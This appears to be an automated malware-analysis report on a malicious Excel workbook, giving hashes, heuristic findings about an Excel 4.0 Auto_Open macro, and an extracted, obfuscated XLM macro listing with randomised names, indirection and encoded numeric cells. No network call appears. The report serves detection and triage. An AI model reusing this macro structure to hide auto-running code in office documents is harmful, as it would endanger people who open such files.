Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e45ddc21a49ee692…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:18 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 2458bb012956a5880b72ff3880ce8d75 SHA-1: bdccb1b31cc3caf11de59c843dd39acdea6e9edd SHA-256: e45ddc21a49ee692fe4fd5f784a1f49e3d6e0027ab72f0ee5313c61f62006c62
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6544 bytes
SHA-256: 0ae6351e9995b1cfc7a552c1d9b3e097cfa32183990af8585b37ee907f52f1b8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cRQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A128 
' 0018     20 LABEL : Cell Value, String Constant - BCZuC len=0 
' 0018     25 LABEL : Cell Value, String Constant - bwEjLtxrjn len=0 
' 0018     23 LABEL : Cell Value, String Constant - elBJsoCc len=0 
' 0018     24 LABEL : Cell Value, String Constant - fYJROuqZh len=0 
' 0018     25 LABEL : Cell Value, String Constant - gHatQOvZVc len=0 
' 0018     20 LABEL : Cell Value, String Constant - hosZm len=0 
' 0018     24 LABEL : Cell Value, String Constant - HrLzTVKSw len=0 
' 0018     25 LABEL : Cell Value, String Constant - KdPDHIjxZf len=0 
' 0018     23 LABEL : Cell Value, String Constant - KmpNMQYN len=0 
' 0018     22 LABEL : Cell Value, String Constant - NhzphdH len=0 
' 0018     27 LABEL : Cell Value, String Constant - OAizPeyXnghB len=0 
' 0018     26 LABEL : Cell Value, String Constant - rbeStyydzcu len=0 
' 0018     24 LABEL : Cell Value, String Constant - RMSIcwpIx len=0 
' 0018     22 LABEL : Cell Value, String Constant - SPoqlKp len=0 
' 0018     23 LABEL : Cell Value, String Constant - vvlHaKtq len=0 
' 0018     26 LABEL : Cell Value, String Constant - XneYczPONUX len=0 
' 0018     27 LABEL : Cell Value, String Constant - YWGydxaDdUrK len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZEVXSpoY len=0 
' 0018     21 LABEL : Cell Value, String Constant - zjZAZT len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZSvQy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cRQ,A44,"SET.NAME("OAizPeyXnghB",0+VALUE("0"))",""
'  cRQ,A48,"SET.NAME("elBJsoCc",OAizPeyXnghB)",""
'  cRQ,A50,"SET.NAME("SPoqlKp",OAizPeyXnghB)",""
'  cRQ,A54,"SET.NAME("bwEjLtxrjn",COUNTA(KdPDHIjxZf))",""
'  cRQ,A57,"SET.NAME("ZEVXSpoY",COUNTA(vvlHaKtq))",""
'  cRQ,A62,[],""
'  cRQ,A66,"SET.NAME("fYJROuqZh","")",""
'  cRQ,A69,"elBJsoCc",""
'  cRQ,A72,"SET.NAME("XneYczPONUX",HLOOKUP("*",KdPDHIjxZf,elBJsoCc,FALSE))",""
'  cRQ,A74,"zjZAZT",""
'  cRQ,A77,"SET.NAME("RMSIcwpIx",OAizPeyXnghB)",""
'  cRQ,A79,[],""
'  cRQ,A81,"RMSIcwpIx",""
'  cRQ,A85,"gHatQOvZVc",""
'  cRQ,A90,"rbeStyydzcu",""
'  cRQ,R90,"",657.00000000000000000000
'  cRQ,R91,"",886.00000000000000000000
'  cRQ,R92,"",418.00000000000000000000
'  cRQ,R93,"",-172.00000000000000000000
'  cRQ,A94,"NhzphdH",""
'  cRQ,R94,"",-115.00000000000000000000
'  cRQ,R95,"",327.00000000000000000000
'  cRQ,A98,"SET.NAME("HrLzTVKSw",VALUE(HLOOKUP("*",vvlHaKtq,NhzphdH,FALSE)))",""
'  cRQ,A100,"YWGydxaDdUrK",""
'  cRQ,A104,"fYJROuqZh",""
'  cRQ,A106,"SPoqlKp",""
'  cRQ,A108,NEXT(),""
'  cRQ,A112,"KmpNMQYN",""
'  cRQ,A116,[],""
'  cRQ,A121,"BCZuC",""
'  cRQ,A123,NEXT(),""
'  cRQ,A126,RETURN(),""
'  cRQ,A155,"SET.NAME("hosZm",A44)",""
'  cRQ,A157,"KdPDHIjxZf",""
'  cRQ,A162,"SET.NAME("vvlHaKtq",R95C13)",""
'  cRQ,A165,"SET.NAME("BCZuC",172)",""
'  cRQ,A168,"SET.NAME("ZSvQy",1)",""
'  cRQ,A171,hosZm(),""
'  cRQ,A172,HALT(),""

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